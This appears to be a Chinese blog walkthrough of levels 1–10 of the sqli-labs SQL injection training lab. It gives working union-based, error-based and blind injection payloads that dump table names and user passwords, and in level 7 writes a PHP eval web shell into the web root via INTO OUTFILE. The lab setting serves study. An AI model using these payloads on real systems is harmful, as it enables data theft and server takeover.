sqli-labs 1-10关
学习sql注入的必做靶场我终于来尝试一下下了.
第一关
?id=1'时出现

在测试?id=1' and '1'='1,页面正常

?id=1' and '1'='2 页面错误
判断存在单引号字符型注入
判断列数
?id=1' order by 3-- -时正常
?id=1' order by 4-- -时错误
有3列
判断回显点
?id=1' union select 1,2,3-- -
2,3可回显
后查库,查表,查列,查字段
?id=-1' union select 1,2,database()-- -
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- -
?id=-1' union select 1,2,group_concat(password) from users-- -
第二关
由?id=1 and 1=1
?id=1 and 1=2 判断 存在整数型注入
判断列数
?id=1 order by 3时正常
?id=1' order by 4时错误
有3列
判断回显点
?id=1 union select 1,2,3
2,3可回显
后查库,查表,查列,查字段
?id=-1 union select 1,2,database()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
?id=-1 union select 1,2,group_concat(password) from users
第三关
由?id=1' 中报错为

?id=1' and '1'='1 正常
?id=1' and '1'='2 异常
存在注入 又由报错信息构造 1') -- -返回正常 逃逸成功
判断列数
?id=1') order by 3-- -时正常
?id=1') order by 4-- -时错误
有3列
判断回显点
?id=1') union select 1,2,3-- -
2,3可回显
后查库,查表,查列,查字段
?id=-1') union select 1,2,database()-- -
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- -
?id=-1') union select 1,2,group_concat(password) from users-- -
第四关
由?id=1" and "1"="1 返回正常
?id=1" and "1"="2 返回错误
存在双引号字符型注入
与第三关类似构造1") -- -构造逃逸
判断列数
?id=1") order by 3-- -时正常
?id=1") order by 4-- -时错误
有3列
判断回显点
?id=1") union select 1,2,3-- -
2,3可回显
后查库,查表,查列,查字段
?id=-1") union select 1,2,database()-- -
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- -
?id=-1") union select 1,2,group_concat(password) from users-- -
第五关
与前面相同我们尝试寻找注入点
?id=1 ?id=1' ?id=1"
?id=1' 报错
又尝试?id=1' and '1'='1 页面正常
和?id=1' and '1'='2 错误
从而判断注入类型为单引号字符型注入
判断列数
?id=1' order by 3--+ 正常
?id=1' order by 4--+ 错误
列数为4
后尝试union select 联合查询
?id=-1' union select 1,2,3-- -
没有显示
考虑报错注入
常用报错注入模板
(1)通过floor报错
①and (select 1 from (select count(),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
②其中payload为你要插入的SQL语句
③需要注意的是该语句将 输出长度为64位
(2)通过updatexml报错
①and updatexml(1,payload,1)
②同样盖语句对输出的字符长度也做了限制,其最长输出32位
③并且该语句对payload的返回类型也做了 限制
(3)通过extractvalue 报错
①and extractvalue(1,payload)
②输出字符有长度限制,最长32位
提供floor报错过程,其余两种类似
1.爆库名
?id=-1' union select 1, count(*), concat((select database()), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
2.爆表名
?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),'------',floor(rand(0)*2)) as a from information_schema.tables group by a-- -
3.爆列名
?id=-1' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),'------',floor(rand(0)*2)) as a from information_schema.tables group by a-- -
4.爆字段内容
?id=-1' union select 1,count(*),concat((select id from emails limit 0,1),'------',floor(rand(0)*2)) as a from information_schema.tables group by a-- -
第六关
与第五关类似
?id=1" and "1"="1 页面正常
?id=1" and "1"="2 页面不正常
存在双引号字符注入
与第五关类似移步第五关
第七关
与前面两关不同,You are in 后提示use outfile...
这触及到了我的只是盲区,只好去看一波大佬们的博客,
1、load_file()导出文件
load_file(file_name):读取文件并返回该文件内容作为一个字符串。
使用条件:
A:必须有权限读取并且文件完全可读
B:预读取文件必修在服务器上
C:必须指定文件完整路径
D:预读取文件必修小于max_allowed_packet
如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的 就是权限,在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有 administrators 才能访问的文件,users就别想 load_file 出来。
在实际的注入中,我们有两个难点需要解决: 绝对物理路径 构造有效的畸形语句 (报错爆出绝对路径) 在很多 PHP 程序中,当提交一个错误的 Query,如果 display_errors=on,程序就会暴露 WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的 PHP 程序来说,整个服务 器的安全将受到严重的威胁。
2、导入到文件:
into outfile
可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE 权限,才能使用此语法。file_name 不能是一个已经存在的文件。
一 直接将select内容导入到文件
二修改文件结尾
首先判断id=1' 页面错误
?id=1' and '1'='1 页面正常
?id=1' and '1'='2 页面错误
我们尝试?id=1'))-- -成功逃逸
因而此题:mysql注入点,用工具对目标站写入一句话,需要哪些条件?
root权限以及网站的绝对路径。
绝对路径为本地搭建我们只需判断root权限
(select count(*) from mysql.user)>0 回显正常则为最高权限
?id=1')) and (select count(*) from mysql.user)>0-- - 页面正常
我们输入一句话木马后使用蚊剑连接即可
?id=-1')) and union select 1,2,<?php @eval($_POST['cmd']);?> INTO outfile "D:/phpStudy/PHPTutorial/WWW/sqli/less-7/shell.php"-- -
第八关
与前七关不同,输入?id=1 就只有You are in......

输入?id=100

只有两个页面
可以为布尔盲注
常用三个函数 length() ,substr(),与ascii()函数
寻找注入点
当id=1' and '1'='1 页面正常
id=1' and '1'='2 页面错误
存在单引号注入点
判断数据库长度
?id=1' and length(database())>1-- -正常
?id=1' and length(database())=8-- - 正常 则database()的长度为8
//其实我们可以用database()代替数据库库名可不查
查库名的第n个字母
?id=1' and ascii(substr((select database()),n,1))>90 -- -
可手动一个个查
也可burpsuite爆破,也可脚本,dns注入也可
查第n个表名的m个字母 举例为当前数据库的第一个表的第一个字母
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1-- -
查第n个列名的第m个字母 举例为users表1列的第一个字母
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>1-- -
查第n个字段的第m个字母 举例为password列的第一个字段的第一个字母
?id=1' and ascii(substr((select password from users limit 0,1),1,1))>1-- -
第九关
无论输入什么只有一个页面,时间盲注
什么型的自己慢慢试吧
?id=1' and sleep(5)-- -
可得为
判断数据库长度
?id=1' and if(length(database())>1, sleep(5),1)-- -
判断数据库名称
举例
?id=1' and if(ascii(substr((select database()),1,1))>1,sleep(5),1)-- -
爆库名
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1,sleep(5),1)-- -
爆列名
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))>1,sleep(5),1)-- -
爆字段
?id=1' and if(ascii(substr((select id from emails limit 0,1),1,1))>1,sleep(5),1)-- -
第十关
与第九关类似
?id=1" and sleep(5)-- - 延迟5秒
判断为双引号字母时间盲注
其余同上
sqli-labs 1-10关的更多相关文章
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- Monyer's Game 6~10关过关方法
从Monyer's Game开通到现在,已经有50多人通关了.其中绝大部分人,不管是自己独立完成也好,参考别人也罢,都是自己一步一步过去的.像陆羽兄弟甚至已经为游戏做好了整个通关的教程,在此Monye ...
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-4 这关好坑!!!
这章,可能我总结开会比较长,图比较多,因为,我在做了一半,走进了一个死胡同,脑子,一下子没想开到底为啥.... 然后我自己想了好长时间也没想开,我也不想直接就去看源码,所以就先去百度了一下,结果一下子 ...
- SQLI LABS Challenges Part(54-65) WriteUp
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
随机推荐
- 【HNOI2010】弹飞绵羊 - LCT
题目描述 某天,Lostmonkey发明了一种超级弹力装置,为了在他的绵羊朋友面前显摆,他邀请小绵羊一起玩个游戏.游戏一开始,Lostmonkey在地上沿着一条直线摆上n个装置,每个装置设定初始弹力系 ...
- Vue管理系统前端系列一vue-cli4.x 初始化项目
目录 项目介绍 技术基础 开发环境 安装工具 快速原型开发 创建项目 配置相关说明 目录结构 项目介绍 lion-ui 是一个基于 RBAC 的管理系统前端项目,采用 vue 和 element-ui ...
- 为什么 max() 应该写成 b < a ? a : b 呢?
在 < C++ Templates 2nd Edition >Chapter 1 中,作者将 max() 模板定义如下: template <typename T> T max ...
- Chrome扩展应用Postman地址(直接搜是搜不到的)
https://chrome.google.com/webstore/detail/postman/fhbjgbiflinjbdggehcddcbncdddomop
- Word操作之参考文献自动关联和引用
转载:https://blog.csdn.net/qq_40078121/article/details/88681605 编号选项->定义新编号格式: 选择插入->交叉引用选项: 然后选 ...
- Redis主从复制(读写分离)
主从复制(读写分离):读在从库读,写在主库写. 主从复制的好处:避免redis单点故障构建读写分离架构,满足读多写少的需求. 主从架构: 操作(启动实例,在一台机器上启动不同的实例,进行伪主从复制): ...
- [CSP-S2019]格雷码 题解
CSP-S2 2019 D1T1 考场上第一遍读题的时候感觉不是很一眼……不是很符合D1T1的气质 之前完全没听说过格雷码是什么玩意,还是我太菜了 仔细读题后发现应该是有规律可循的 赛后据说有$O(1 ...
- SEO外包好还是自己组建团队
http://www.wocaoseo.com/thread-151-1-1.html 营络营销已成为企业不可忽视的一块大肥肉,很多企业都想进来分一杯羹,但是不少企业苦于缺少过硬的技术,无 ...
- idea Tomcat部署war和war exploded的区别
原文地址:https://blog.csdn.net/linjpg/article/details/73322881 在使用IDEA开发项目时,部署Tomcat的时候通常会出现以下情况: 是选择war ...
- Welcome To CUG_YZL's cnblogs
Welcome To CUG_YZL's cnblogs My name is YZL, studied in China University of Geosciences Wuhan now.W ...